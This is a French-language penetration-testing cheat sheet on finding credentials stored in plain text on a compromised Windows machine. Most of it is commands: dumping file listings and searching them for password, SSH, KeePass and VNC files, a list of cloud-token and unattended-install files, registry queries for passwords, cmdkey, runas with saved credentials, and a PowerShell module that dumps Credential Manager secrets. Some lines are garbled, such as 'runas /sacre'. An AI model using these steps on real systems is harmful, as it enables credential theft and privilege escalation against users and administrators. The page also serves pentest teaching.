Informations d'identifications
Rechercher des informations d'identifications stockées en dur sur le disque est une des méthodes les plus faciles qui quelques fois peut se révéler utile lorsque l’utilisateur n’utilise pas de gestionnaire de mot de passe.
- Au minimum ce type de récupération d’information sensible peut au minimum vous apporter le mot de passe de l'utilisateur actuel.
- Au mieux vous pouvez récupérer le mot de passe de l’administrateur local de la machine.
- Lister le nom de tous les fichiers stocké sur chaque disque présent sur la machine
#lister les disques de la machine
net use
dir /b /a /s c:\\ > Dump_dirs.txt
- Parser les fichiers contenants des mots-clés comme “passwd” par exemple
type Dump_dirs.txt | findstr /i passwd
- Fichiers intéressants :
type Dump_dirs.txt | findstr /i ssh
type Dump_dirs.txt | findstr /i kdbx
type Dump_dirs.txt | findstr /i vnc
# Autres types de fichier à chercher:
install, backup, .bak, .log, .bat, .cmd, .vbs, .cnf, .conf, .config, .ini, .xml, .txt, .gpg, .pgp, .p12, .der, .csr, .cer, id_rsa, id_dsa, .ovpn, .rdp, vnc, ftp, ssh, vpn, git, .kdbx, .db
unattend.xml
Unattended.xml
sysprep.inf
sysprep.xml
VARIABLES.DAT
setupinfo
setupinfo.bak
web.config
SiteList.xml
.aws\\credentials
.azure\\accessTokens.json
.azure\\azureProfile.json
gcloud\\credentials.db
gcloud\\legacy_credentials
gcloud\\access_tokens.db
- Les clefs de registre
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
- Checker le Windows Credentials Manager
cmdkey /list
- Checker si les utilisateurs appartiennent au groupe administrateursnet user "<USERNAME>"
- Si oui lancer une commande runas avec l’option /savecred qui ira chercher les informations d'identification dans le Windows Credentials Manager.
runas /sacre /user:admin cmd.exe - Utilisation de CMS.ps1 (script Microsoft qui permet à quiconque de récupérer les mots de passe stockés dans le Windows Credentials Manager)powershell Import-Module cms.ps1 ; Enum-Creds
Last modified 1yr ago